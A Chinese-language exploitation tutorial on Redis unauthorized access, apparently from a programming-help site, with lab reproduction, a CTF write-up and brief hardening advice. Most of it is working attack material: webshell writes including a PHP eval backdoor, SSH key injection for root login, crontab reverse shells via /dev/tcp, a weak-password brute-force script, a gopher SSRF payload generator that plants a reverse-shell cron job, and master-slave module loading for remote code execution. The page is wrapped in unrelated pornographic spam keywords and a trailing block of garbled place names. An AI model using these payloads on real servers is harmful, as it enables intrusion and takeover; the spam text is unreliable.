最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

解析Redis未授權(quán)訪(fǎng)問(wèn)漏洞復(fù)現(xiàn)與利用危害

 更新時(shí)間:2022年01月24日 11:01:44   作者:bmjoker  
這篇文章主要介紹了Redis未授權(quán)訪(fǎng)問(wèn)漏洞復(fù)現(xiàn)與利用,介紹了redis未授權(quán)訪(fǎng)問(wèn)漏洞的基本概念及漏洞的危害,本文給大家介紹的非常詳細(xì),需要的朋友可以參考下

一、漏洞簡(jiǎn)介以及危害:

1.什么是redis未授權(quán)訪(fǎng)問(wèn)漏洞:

Redis 默認(rèn)情況下,會(huì)綁定在 0.0.0.0:6379,如果沒(méi)有進(jìn)行采用相關(guān)的策略,比如添加防火墻規(guī)則避免其他非信任來(lái)源 ip 訪(fǎng)問(wèn)等,這樣將會(huì)將 Redis 服務(wù)暴露到公網(wǎng)上,如果在沒(méi)有設(shè)置密碼認(rèn)證(一般為空)的情況下,會(huì)導(dǎo)致任意用戶(hù)在可以訪(fǎng)問(wèn)目標(biāo)服務(wù)器的情況下未授權(quán)訪(fǎng)問(wèn) Redis 以及讀取 Redis 的數(shù)據(jù)。攻擊者在未授權(quán)訪(fǎng)問(wèn) Redis 的情況下,利用 Redis 自身的提供的config 命令,可以進(jìn)行寫(xiě)文件操作,攻擊者可以成功將自己的ssh公鑰寫(xiě)入目標(biāo)服務(wù)器的 /root/.ssh 文件夾的authotrized_keys 文件中,進(jìn)而可以使用對(duì)應(yīng)私鑰直接使用ssh服務(wù)登錄目標(biāo)服務(wù)器。

簡(jiǎn)單說(shuō),漏洞的產(chǎn)生條件有以下兩點(diǎn):

(1)redis綁定在 0.0.0.0:6379,且沒(méi)有進(jìn)行添加防火墻規(guī)則避免其他非信任來(lái)源ip訪(fǎng)問(wèn)等相關(guān)安全策略,直接暴露在公網(wǎng);
(2)沒(méi)有設(shè)置密碼認(rèn)證(一般為空),可以免密碼遠(yuǎn)程登錄redis服務(wù)。 

2.漏洞的危害

(1)攻擊者無(wú)需認(rèn)證訪(fǎng)問(wèn)到內(nèi)部數(shù)據(jù),可能導(dǎo)致敏感信息泄露,黑客也可以惡意執(zhí)行flushall來(lái)清空所有數(shù)據(jù);
(2)攻擊者可通過(guò)EVAL執(zhí)行l(wèi)ua代碼,或通過(guò)數(shù)據(jù)備份功能往磁盤(pán)寫(xiě)入后門(mén)文件;
(3)最嚴(yán)重的情況,如果Redis以root身份運(yùn)行,黑客可以給root賬戶(hù)寫(xiě)入SSH公鑰文件,直接通過(guò)SSH登錄受害服務(wù)器

3.漏洞的影響

根據(jù) ZoomEye 的探測(cè),全球無(wú)驗(yàn)證可直接利用Redis 分布情況如下:

全球無(wú)驗(yàn)證可直接利用Redis TOP 10國(guó)家與地區(qū):

二、漏洞復(fù)現(xiàn):

下載并安裝測(cè)試用的Redis,本次采用的是Ubuntu鏡像:

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

(如果下載不下來(lái)的話(huà):http://distfiles.macports.org/redis/)

解壓安裝包:tar xzf redis-2.8.17.tar.gz進(jìn)入redis目錄:cd redis-2.8.17安裝:make

make結(jié)束后,進(jìn)入src目錄:cd src,
將redis-server和redis-cli拷貝到/usr/bin目錄下(這樣啟動(dòng)redis-server和redis-cli就不用每次都進(jìn)入安裝目錄了)

返回目錄redis-2.8.17,將redis.conf拷貝到/etc/目錄下:

使用/etc/目錄下的reids.conf文件中的配置啟動(dòng)redis服務(wù):

服務(wù)啟動(dòng)成功,我們克隆這臺(tái)虛擬機(jī)

一臺(tái)作為攻擊機(jī),一臺(tái)作為靶機(jī)

攻擊機(jī)IP:192.168.0.105

靶機(jī)IP:192.168.0.104

啟動(dòng)redis服務(wù)進(jìn)程后,就可以使用測(cè)試攻擊機(jī)程序redis-cli和靶機(jī)的redis服務(wù)交互了。 比如:

三、未授權(quán)訪(fǎng)問(wèn)漏洞測(cè)試

使用redis客戶(hù)端直接無(wú)賬號(hào)成功登錄redis:

從登錄的結(jié)果可以看出該redis服務(wù)對(duì)公網(wǎng)開(kāi)放,且未啟用認(rèn)證。

0x01 利用redis寫(xiě)webshell

利用前提:

1.靶機(jī)redis鏈接未授權(quán),在攻擊機(jī)上能用redis-cli連上,如上圖,并未登陸驗(yàn)證
2.開(kāi)了web服務(wù)器,并且知道路徑(如利用phpinfo,或者錯(cuò)誤爆路經(jīng)),還需要具有文件讀寫(xiě)增刪改查權(quán)限
(我們可以將dir設(shè)置為一個(gè)目錄a,而dbfilename為文件名b,再執(zhí)行save或bgsave,則我們就可以寫(xiě)入一個(gè)路徑為a/b的任意文件。)

這里由于本地搭建,我們已經(jīng)知道目錄,我們把shell寫(xiě)入/home/bmjoker/目錄下:

注:

第三步寫(xiě)入webshell的時(shí)候,可以使用:

set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"

\r\n\r\n代表?yè)Q行的意思,用redis寫(xiě)入的文件會(huì)自帶一些版本信息,如果不換行可能會(huì)導(dǎo)致無(wú)法執(zhí)行。

shell寫(xiě)入完成,我們?cè)诎袡C(jī)上來(lái)證明:

成功寫(xiě)入shell。

當(dāng)數(shù)據(jù)庫(kù)過(guò)大時(shí),redis寫(xiě)shell的小技巧:

<?php 
set_time_limit(0);
$fp=fopen('bmjoker.php','w');
fwrite($fp,'<?php @eval($_POST[\"bmjoker\"]);?>');
exit();
?>

0x02 利用"公私鑰"認(rèn)證獲取root權(quán)限

當(dāng)redis以root身份運(yùn)行,可以給root賬戶(hù)寫(xiě)入SSH公鑰文件,直接通過(guò)SSH登錄目標(biāo)服務(wù)器。

靶機(jī)中開(kāi)啟redis服務(wù):redis-server /etc/redis.conf

在靶機(jī)中執(zhí)行 mkdir /root/.ssh 命令,創(chuàng)建ssh公鑰存放目錄(靶機(jī)是作為ssh服務(wù)器使用的)

在攻擊機(jī)中生成ssh公鑰和私鑰,密碼設(shè)置為空:

進(jìn)入.ssh目錄:cd .ssh/,將生成的公鑰保存到1.txt:

鏈接靶機(jī)上的redis服務(wù),

將保存ssh的公鑰1.txt寫(xiě)入redis(使用redis-cli -h ip命令連接靶機(jī),將文件寫(xiě)入):

遠(yuǎn)程登錄靶機(jī)的redis服務(wù):redis-cli -h 192.168.0.104

并使用 CONFIG GET dir 命令得到redis備份的路徑:

更改redis備份路徑為ssh公鑰存放目錄(一般默認(rèn)為/root/.ssh):

設(shè)置上傳公鑰的備份文件名字為authorized_keys:

檢查是否更改成功(查看有沒(méi)有authorized_keys文件),沒(méi)有問(wèn)題就保存然后退出,

至此成功寫(xiě)入ssh公鑰到靶機(jī):

在攻擊機(jī)上使用ssh免密登錄靶機(jī):ssh -i id_rsa root@192.168.0.104

利用私鑰成功登錄redis服務(wù)器?。。?/p>

0x03利用crontab反彈shell

在權(quán)限足夠的情況下,利用redis寫(xiě)入文件到計(jì)劃任務(wù)目錄下執(zhí)行。

端口監(jiān)聽(tīng):

在攻擊者服務(wù)器上監(jiān)聽(tīng)一個(gè)端口(未被占用的任意端口):

nc -lvnp 4444

攻擊詳情:

連接redis,寫(xiě)入反彈shell

redis-cli -h 192.168.0.104
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1\n\n"

config set dir /var/spool/cron
config set dbfilename root
save

過(guò)一分鐘左右就可以收到shell

四、Pyhton腳本自動(dòng)化測(cè)試

可用來(lái)測(cè)試是否存在未授權(quán)或弱口令的情況:

#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("INFO\r\n")
        result = s.recv(1024)
        if "redis_version" in result:
            return u"未授權(quán)訪(fǎng)問(wèn)"
        elif "Authentication" in result:
            for pass_ in PASSWORD_DIC:
                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.connect((ip, int(port)))
                s.send("AUTH %s\r\n" %(pass_))
                result = s.recv(1024)
                if '+OK' in result:
                    return u"存在弱口令,密碼:%s" % (pass_)
    except Exception, e:
        pass
if __name__ == '__main__':
    ip=sys.argv[1]
    port=sys.argv[2]
    print check(ip,port, timeout=10)

五、解決方案

1、比較安全的辦法是采用綁定IP的方式來(lái)進(jìn)行控制。

請(qǐng)?jiān)趓edis.conf文件找到如下配置

# If you want you can bind a single interface, if the bind option is not
# specified all the interfaces will listen for incoming connections.
#
# bind 127.0.0.1

把 #bind 127.0.0.1前面的注釋#號(hào)去掉,然后把127.0.0.1改成你允許訪(fǎng)問(wèn)你的redis服務(wù)器的ip地址,表示只允許該ip進(jìn)行訪(fǎng)問(wèn),這種情況下,我們?cè)趩?dòng)redis服務(wù)器的時(shí)候不能再用:redis-server,改為:redis-server path/redis.conf 即在啟動(dòng)的時(shí)候指定需要加載的配置文件,其中path/是你上面修改的redis配置文件所在目錄,這個(gè)方法有一點(diǎn)不太好,我難免有多臺(tái)機(jī)器訪(fǎng)問(wèn)一個(gè)redis服務(wù)。

2、設(shè)置密碼,以提供遠(yuǎn)程登陸

打開(kāi)redis.conf配置文件,找到requirepass,然后修改如下:

requirepass yourpassword
yourpassword就是redis驗(yàn)證密碼,設(shè)置密碼以后發(fā)現(xiàn)可以登陸,但是無(wú)法執(zhí)行命令了。
  
命令如下:
redis-cli -h yourIp -p yourPort//啟動(dòng)redis客戶(hù)端,并連接服務(wù)器
keys * //輸出服務(wù)器中的所有key
報(bào)錯(cuò)如下
(error) ERR operation not permitted
  
這時(shí)候你可以用授權(quán)命令進(jìn)行授權(quán),就不報(bào)錯(cuò)了
  
命令如下:
auth youpassword

-------------------------

于2018.11.23進(jìn)行補(bǔ)充

Redis配置錯(cuò)誤導(dǎo)致的遠(yuǎn)程代碼漏洞溯源

在刷墨者學(xué)院的題時(shí),發(fā)現(xiàn)了這個(gè)不錯(cuò)的題,通過(guò)這個(gè)題了解Redis在低權(quán)限下的滲透思路:

給出了IP:219.153.49.228 ,同時(shí)也給出了倆個(gè)端口一個(gè)是web也就是http端口 419387,一個(gè)是redis數(shù)據(jù)庫(kù)端口 48055

嘗試用kali鏈接redis端口:

redis-cli -h 219.153.49.228 -p 48055

連接成功,本想用上文的方法,生成ssh密鑰把內(nèi)容寫(xiě)進(jìn)redis數(shù)據(jù)庫(kù),然后把redis數(shù)據(jù)庫(kù)的目錄指定到/etc/.ssh/,這樣就可以通過(guò)ssh直接連接服務(wù)器,但是這里權(quán)限不夠,不能指定到/etc/.ssh/目錄。

由于服務(wù)器是ubuntu的,apache容器,嘗試指定一下默認(rèn)的路徑/var/www/html/來(lái)寫(xiě)入shell:

一波寫(xiě)入shell的操作,然后在web頁(yè)面嘗試訪(fǎng)問(wèn)我們寫(xiě)入shell的joker.php文件:

成功寫(xiě)入,嘗試用菜刀鏈接,獲取flag:

出現(xiàn)這樣的問(wèn)題還是權(quán)限控制的不足

-----------------------

于2019.10.9日補(bǔ)充

redis主從復(fù)制rce

  Redis是一個(gè)使用ANSI C編寫(xiě)的開(kāi)源、支持網(wǎng)絡(luò)、基于內(nèi)存、可選持久性的鍵值對(duì)存儲(chǔ)數(shù)據(jù)庫(kù)。但如果當(dāng)把數(shù)據(jù)存儲(chǔ)在單個(gè)Redis的實(shí)例中,當(dāng)讀寫(xiě)體量比較大的時(shí)候,服務(wù)端就很難承受。為了應(yīng)對(duì)這種情況,Redis就提供了主從模式,主從模式就是指使用一個(gè)redis實(shí)例作為主機(jī),其他實(shí)例都作為備份機(jī),其中主機(jī)和從機(jī)數(shù)據(jù)相同,而從機(jī)只負(fù)責(zé)讀,主機(jī)只負(fù)責(zé)寫(xiě),通過(guò)讀寫(xiě)分離可以大幅度減輕流量的壓力,算是一種通過(guò)犧牲空間來(lái)?yè)Q取效率的緩解方式。

  在Redis 4.x之后,Redis新增了模塊功能,通過(guò)外部拓展,可以在redis中實(shí)現(xiàn)一個(gè)新的Redis命令,通過(guò)寫(xiě)c語(yǔ)言并編譯出.so文件。編寫(xiě)惡意so文件的代碼 https://github.com/RicterZ/RedisModules-ExecuteCommand

  在兩個(gè)Redis實(shí)例設(shè)置主從模式的時(shí)候,Redis的主機(jī)實(shí)例可以通過(guò)FULLRESYNC同步文件到從機(jī)上。然后在從機(jī)上加載so文件,我們就可以執(zhí)行拓展的新命令了。

網(wǎng)上收集兩個(gè)比較方便的getshell python腳本

1.https://github.com/n0b0dyCN/redis-rogue-server

漏洞利用:

2.https://github.com/Ridter/redis-rce

漏洞利用:

反彈到其他服務(wù)器:

---------------

于2021.01.02補(bǔ)充

ssrf,redis與gopher

補(bǔ)充篇只來(lái)討論如果通過(guò)ssrf探測(cè)到內(nèi)網(wǎng)某ip開(kāi)啟了6379端口,并存在未授權(quán),如何結(jié)合gopher協(xié)議來(lái)寫(xiě)shell。

  gopher是Internet上一個(gè)非常有名的信息查找系統(tǒng),它將Internet上的文件組織成某種索引,很方便地將用戶(hù)從Internet的一處帶到另一處。在WWW出現(xiàn)之前,gopher是Internet上最主要的信息檢索工具,gopher站點(diǎn)也是最主要的站點(diǎn),使用tcp70端口。但在WWW出現(xiàn)后,gopher失去了昔日的輝煌?,F(xiàn)在它基本過(guò)時(shí),人們很少再使用它;

gopher協(xié)議支持發(fā)出GET、POST請(qǐng)求:可以先截獲get請(qǐng)求包和post請(qǐng)求包,在構(gòu)成符合gopher協(xié)議的請(qǐng)求。gopher協(xié)議是ssrf利用中最強(qiáng)大的協(xié)議

gopher協(xié)議格式:

URL:gopher://<host>:<port>/<gopher-path>_后接TCP數(shù)據(jù)流
gopher的默認(rèn)端口是70

如果發(fā)起post請(qǐng)求,回車(chē)換行需要使用%0d%0a,如果存在多個(gè)參數(shù),參數(shù)之間的&也需要進(jìn)行URL編碼。注意%0d%0a是\r\n的URL編碼。

gopher發(fā)送請(qǐng)求HTTP GET請(qǐng)求:

curl gopher://192.168.194.1:6666/_abcd

注意:abcd是要傳遞的數(shù)據(jù),_會(huì)被吃掉不會(huì)傳遞過(guò)去

由于gopher協(xié)議規(guī)則比較復(fù)雜,這里借助一個(gè)github的工具來(lái)生成payload:https://github.com/firebroo/sec_tools

只需要在redis-over-gopher/redis.cmd中寫(xiě)入redis執(zhí)行的命令,比如下面的命令直接在web目錄下寫(xiě)shell

flushall
config set dir /tmp
config set dbfilename shell.php
set 'webshell' '<?php phpinfo();?>'
save

編輯好后運(yùn)行redis-over-gopher/redis-over-gopher.py

python redis-over-gopher.py

就可以生成支持gopher協(xié)議的payload:

使用curl運(yùn)行payload

進(jìn)入docker容器,發(fā)現(xiàn)shell.php已經(jīng)成功生成

注:需要將內(nèi)容再進(jìn)行一次url編碼傳到web的參數(shù)中才會(huì)正常運(yùn)行

使用ssrf端口探測(cè)的時(shí)候,不要拘泥于http協(xié)議,還可以使用dict協(xié)議來(lái)進(jìn)行探測(cè)

利用gopher協(xié)議反彈shell

/*gopher協(xié)議反彈shell利用腳本*/
import urllib
protocol="gopher://"
ip="192.168.127.140"
port="6379"
reverse_ip="192.168.127.131"
reverse_port="7777"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
filename="root"
path="/var/spool/cron"
passwd=""
cmd=["flushall",
   "set 1 {}".format(cron.replace(" ","${IFS}")),
   "config set dir {}".format(path),
   "config set dbfilename {}".format(filename),
   "save"
   ]
if passwd:
  cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
  CRLF="\r\n"
  redis_arr = arr.split(" ")
  cmd=""
  cmd+="*"+str(len(redis_arr))
  for x in redis_arr:
    cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
  cmd+=CRLF
  return cmd

if __name__=="__main__":
  for x in cmd:
    payload += urllib.quote(redis_format(x))
  print payload

redis如果有密碼,是弱口令的話(huà),可以通過(guò)python腳本爆破,看回顯來(lái)確定密碼是否正確

如果有口令在最前面,和gopher的格式一樣,如下健為AUTH,密碼為123456

爆破的時(shí)候需要在尋常的未授權(quán)前加上認(rèn)證的gopher字段

%2A2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123456%0D%0A

爆破成功的化可以直接結(jié)合gopher協(xié)議對(duì)redis進(jìn)行寫(xiě)shell的操作。

這里結(jié)合上面的redis主從復(fù)制的RCE來(lái)執(zhí)行命令,先來(lái)構(gòu)造加載exp.so的payload

config set dir /tmp/
config set dbfilename /tmp/
slaveof 192.168.127.140 4444
module load /tmp/exp.so
system.exec 'whoami'
quit

這樣就可以加載本地的exp.so對(duì)redis進(jìn)行爆破,如果爆破成功就執(zhí)行whoami命令。

這里只是一種演示,使用此方法同樣可以寫(xiě)shell,寫(xiě)計(jì)劃任務(wù)來(lái)獲取shell。

參考文章:

Redis 安裝 http://www.runoob.com/redis/redis-install.html

Redis未授權(quán)訪(fǎng)問(wèn)漏洞 http://blog.csdn.net/Hu_wen/article/details/55189777?locationNum=15&fps=1

Redis 未授權(quán)訪(fǎng)問(wèn)配合 SSH key 文件利用分析 http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/

Redis未授權(quán)訪(fǎng)問(wèn)漏洞利用姿勢(shì)http://www.jianshu.com/p/e550628ba1bc

https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=36100&highlight=redis

到此這篇關(guān)于Redis未授權(quán)訪(fǎng)問(wèn)漏洞復(fù)現(xiàn)與利用的文章就介紹到這了,更多相關(guān)Redis未授權(quán)訪(fǎng)問(wèn)漏洞內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • 基于session?Redis實(shí)現(xiàn)登錄

    基于session?Redis實(shí)現(xiàn)登錄

    這篇文章主要介紹了基于session?Redis實(shí)現(xiàn)登錄的相關(guān)資料,需要的朋友可以參考下
    2023-10-10
  • linux?redis-連接命令解讀

    linux?redis-連接命令解讀

    這篇文章主要介紹了linux?redis-連接命令解讀,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2023-06-06
  • 關(guān)于Redis單線(xiàn)程的正確理解

    關(guān)于Redis單線(xiàn)程的正確理解

    很多同學(xué)對(duì)Redis的單線(xiàn)程和I/O多路復(fù)用技術(shù)并不是很了解,所以我用簡(jiǎn)單易懂的語(yǔ)言讓大家了解下Redis單線(xiàn)程和I/O多路復(fù)用技術(shù)的原理,對(duì)學(xué)好和運(yùn)用好Redis打下基礎(chǔ),感興趣的朋友跟隨小編一起看看吧
    2021-11-11
  • Windows環(huán)境下打開(kāi)Redis閃退的解決方案

    Windows環(huán)境下打開(kāi)Redis閃退的解決方案

    每次使用完Redis后,我們習(xí)慣性的動(dòng)作是直接叉掉doc頁(yè)面,這樣導(dǎo)致的結(jié)果是Redis在后臺(tái)繼續(xù)運(yùn)行,沒(méi)有關(guān)閉,所以當(dāng)再次打開(kāi)的時(shí)候直接閃退,文中有詳細(xì)的解決方案,需要的朋友可以參考下
    2024-03-03
  • Redis如何高效刪除大key

    Redis如何高效刪除大key

    這篇文章主要介紹了Redis如何高效刪除大key問(wèn)題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2024-04-04
  • Java Socket實(shí)現(xiàn)Redis客戶(hù)端的詳細(xì)說(shuō)明

    Java Socket實(shí)現(xiàn)Redis客戶(hù)端的詳細(xì)說(shuō)明

    socket編程是一門(mén)技術(shù),它主要是在網(wǎng)絡(luò)通信中經(jīng)常用到.這篇文章主要介紹了如何用Java Socket實(shí)現(xiàn)一個(gè)簡(jiǎn)單的Redis客戶(hù)端,需要的朋友可以參考下
    2021-05-05
  • 深入解析Redis的LRU與LFU算法實(shí)現(xiàn)

    深入解析Redis的LRU與LFU算法實(shí)現(xiàn)

    這篇文章主要重點(diǎn)介紹了Redis的LRU與LFU算法實(shí)現(xiàn),并分析總結(jié)了兩種算法的實(shí)現(xiàn)效果以及存在的問(wèn)題,并闡述其優(yōu)劣特性,感興趣的小伙伴跟著小編一起來(lái)看看吧
    2023-07-07
  • 高并發(fā)下Redis如何保持?jǐn)?shù)據(jù)一致性(避免讀后寫(xiě))

    高并發(fā)下Redis如何保持?jǐn)?shù)據(jù)一致性(避免讀后寫(xiě))

    本文主要介紹了高并發(fā)下Redis如何保持?jǐn)?shù)據(jù)一致性(避免讀后寫(xiě)),文中通過(guò)示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下
    2022-03-03
  • Redis消息隊(duì)列、阻塞隊(duì)列、延時(shí)隊(duì)列的實(shí)現(xiàn)

    Redis消息隊(duì)列、阻塞隊(duì)列、延時(shí)隊(duì)列的實(shí)現(xiàn)

    Redis是一種常用的內(nèi)存數(shù)據(jù)庫(kù),它提供了豐富的功能,通常用于數(shù)據(jù)緩存和分布式隊(duì)列,本文主要介紹了Redis消息隊(duì)列、阻塞隊(duì)列、延時(shí)隊(duì)列的實(shí)現(xiàn),感興趣的可以了解一下
    2023-11-11
  • Redis SETNX命令在Spring Cloud中的分布式鎖用法詳解

    Redis SETNX命令在Spring Cloud中的分布式鎖用法詳解

    在Spring Cloud項(xiàng)目中,使用Java和Redis結(jié)合實(shí)現(xiàn)的分布式鎖可以確保訂單的一致性和并發(fā)控制,通過(guò)合理使用鎖的粒度以及注意事項(xiàng),可以減少死鎖問(wèn)題并提高系統(tǒng)的并發(fā)性能,這篇文章主要介紹了Redis SETNX命令在Spring Cloud中的分布式鎖用法詳解,需要的朋友可以參考下
    2023-10-10

最新評(píng)論

柳江县| 靖边县| 石城县| 永修县| 阳春市| 丽江市| 赞皇县| 墨江| 滦南县| 和政县| 德江县| 从江县| 乐清市| 闸北区| 海宁市| 阳高县| 个旧市| 驻马店市| 新丰县| 泰安市| 东至县| 铁力市| 乌拉特前旗| 东兴市| 珠海市| 淳安县| 泾川县| 如皋市| 横山县| 榆树市| 象州县| 邯郸县| 云和县| 江北区| 鲜城| 临湘市| 五峰| 玉环县| 永川市| 丘北县| 马边|